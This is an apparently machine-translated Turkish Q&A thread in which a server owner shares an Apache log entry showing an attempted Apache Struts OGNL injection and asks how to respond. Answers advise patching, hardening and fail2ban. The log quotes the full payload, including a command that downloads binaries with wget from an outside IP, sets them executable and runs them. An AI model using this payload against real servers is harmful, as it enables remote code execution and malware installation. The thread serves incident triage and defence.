Bir saldırı girişimi buldum - ne yapmalıyım? [kapalı]


0

Bazı Apache kayıtlarına bakıyordum ve saldırı gibi görünen şeylerle karşılaştım.

core:error] [pid 20356] (36)File name too long: [client xxx.xxx.xxx.xxx:56856] AH00036: access to
/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().
exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)').getInputStream()))).
(#w.close())}/index.action failed (filesystem path '/var/www/html/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname --m|grep x86_64 >> ')

Yürütme satırı şu şekilde:

exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)')

Dosyayı wget -O .loop http://111.90.158.225/d/ft64bir sanal alana indirdim ve derlenmiş / ikili bir dosyada görünüyor, bu nedenle çalıştırıldığında dosyanın ne yaptığından emin değilim.

  1. Hatadan biri benim bir güvenlik açığı olup olmadığını veya daha da iyisi, bu güvenlik açığını nasıl açabileceğimi / güvenliği artıracağımı söyleyebilir mi?

    • Apache 2.4'te bir Symfony 4 API kullanıyorum.
    • Saldırının nasıl yapıldığından ve .execkomutu nasıl çalıştırmaya çalıştıklarından emin değilim.
  2. Bunu bildirmek için uygun bir yer var mı?


2
Bu soru serverfault.com için daha uygun olabilir . Göç için işaretleyeceğim.
Christopher Rehtage

Tecrübelerime göre, eğer bir makine tehlikeye girdiğinin kanıtını gösterirse, o zaman artık güvenilir değildir ve yeniden inşa edilmesi gerekir. Unutma, saldırganın farketmediğin başka şeyleri yapmış veya başarılı bir şekilde izlerini bırakmış olabilir. Ayrıca, saldırganın diğer makinelere zarar vermesi için veri merkezinizde / işletinizde bir dayanak görevi görebilirdi, bu nedenle diğerlerini incelemek iyi bir fikirdir.
Christopher Rehtage

: Ben günlük birisi url gittiğini gösteriyor inanıyoruz ... Ben herhangi bir web sunucusu gidip bir url vurmak deneyebiliriz ... bu aslında makinenin kanıtlar geçirilmesini gösterir emin değilim http://example.com/${(#dm=@ognl.OgnlContext@....exec(...)/ama eğer belirsiz duyuyorum Ben bu varsayımda haklıyım. Kayıtta ayrıca com.opensymphony.xwork2.ActionContext.containerhangisinin parçası olduğu da belirtiliyor Apache Struts. Ben kullanmıyorumApache Struts
Shawn Northrop

@ChristopherHostage, burada ve konu dışı ve Sunucu Arızasında konu dışı olarak kapatmak için oy vermiş olabilirsiniz . 4 kişi sizinle aynı fikirde olsaydı göç ederdi.
Mokubai

1
@ChristopherHostage “Deneyimlerime göre, bir makine tehlikeye girdiğinin kanıtını gösterirse…” Bu durumda yanlış. Tüm Apache günlükleri yansıtıyor, bir şey yapıldığına dair kanıt değil, sunucuda bir şey yapma girişimleri. Yansıtılan Ve cevabım , bu gerçekten kendi başına dert inanılmaz yaygın değil bir şey internette bir web sunucusu saldırı sadece bir girişimdir.
JakeGould

Yanıtlar:


1

Sorunuz:

Bir saldırı girişimi buldum - ne yapmalıyım?

Sonra nefessizce aşağıdakileri söylersin:

Bazı Apache kayıtlarına bakıyordum ve saldırı gibi görünen şeylerle karşılaştım…

Ne yaparsın? Basit cevap:

Panik yapmayın!

Algılanan bir tehdidi hafifletmek için çok hızlı bir şekilde panik yapmak ve yapmak, bir sunucuya gerçek bir saldırının neden olabileceği herhangi bir zarardan daha fazla zarar verebilir.

Ancak, daha ayrıntılı olarak, dünyadaki her web sunucusu sürekli olarak denetlenmektedir ve bazen de gerçekten saldırılara uğramaktadır. İnternetin doğası budur. Apache günlükleriniz sadece sunucuya istekleri kaydediyor ve hepsi bu. Apache ve temel işletim sistemi sürümünüz (Linux varsayarak) tamamen yamalıysa ve güncel kalırsanız sağlam olmalısınız. Sunucunuzda web ile karşılaşan herhangi bir komut dosyası çalıştırıyorsanız (PHP komut dosyaları gibi) , PHP kodunuzun ne kadar sağlam olduğuna bağlı olarak bir güvenlik açığınız olabilir .

Bu, hala çok fazla endişelenmeyeceğimi söyledi. PHP kodunuz WordPress veya Drupal gibi önceden paketlenmiş bir sistemden oluşuyorsa, CMS'nin yamalı ve güncel olduğundan emin olun. Bu PHP kodu özel kod ise, bu özel kod yalnızca kodlayan kişinin kodlama yeterliliği kadar savunmasızdır.

Ama tüm bunlar hala ilk mesajıma düşüyor:

Panik yapmayın!

Bu senaryodan ödün verme şansınız hiç de ince değil. Saldırı girişimi olduğu kadar “saldırı” değildir .

Bu özeti geçen her şey basit bir sorunun kapsamı dışındadır.

Bununla birlikte, en savunmasız web siteleri, WordPress ve Drupal gibi önceden paketlenmiş sistemler olduğu ve site sahipleri tarafından yamalanmamış özel kodlu web siteleri olmadığı söyleniyor. Bu siteler neden yamalanmıyor? Listelenecek çok fazla neden var. Ancak, web tabanlı saldırıların büyük çoğunluğu, eskiden ve WordPress ve Drupal gibi önceden paketlenmiş sistemlerini her şeyden çok hedef alıyor.

Ayrıca şunu sorarsınız:

Bunu bildirmek için uygun bir yer var mı?

Neye rapor ver? Temel olarak, sadece bir yerlerde rastgele bir komut dosyası tarafından (saldırı girişimleriyle) inceleniyorsunuz. IP adresini biliyorsanız, bu IP adresinin sahibine başvurabilir ve bir şeyler yapıp yapamadıklarını görebilirsiniz. Fakat 2018'de bu, en iyi sonucu vermeyen bir çabadır.

Neden? Kolay: Bugünlerde bilgisayar korsanları, yalnızca virüs bulaşmış makineler veya saldıran sunucuların kirli işlerini yapan tek kullanımlık bulut sunucu kümeleri olan botnet'ler kullanıyor. Sırf belirli bir IP adresi tarafından saldırıya uğradığınızdan, bu IP adresindeki sistemin sahibinin saldırgan olduğu anlamına gelmez. Sadece virüslü bir sistem olabilir. Tek kullanımlık bir bulut sunucusuysa, bu bulut sunucusunu yöneten ISS ile iletişim kurmak isteyebilirsiniz ve belki de uyarılabilirler. Ancak her şey gerçekleşecek, botnet'in sahibi bu saldırı sunucularını başka bir ISS'ye taşıyacak.

Daha iyisi, kodunuzun ve sunucunuzun sağlam olduğundan ve bunun gibi “raporlama” konusunda endişelenmeyin. Bu saldırı benzersiz değildir ve bildirmek istediğiniz sonuçları elde etmeyecektir.


-1

Apache günlüklerinize yakından bakarsanız, sunucunuza karşı bilinen çeşitli güvenlik açıklarını denemeye çalışan sayısız bağlantı denemesi örneği göreceksiniz.

Apache'nin ve sunucunuzda çalışan herhangi bir uygulamanın güvenlik düzeltmeleri ile güncel kalması önemlidir. Ayrıca, kurulumunuzu sertleştirmek için Apache Secure Baseline Doc’a da BDT’den bakın.
Son olarak fail2ban ve apache hapishaneleri ve filtreleri (apache-noscript, apache-overflow, vb.) Gibi bir araca göz atın.

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.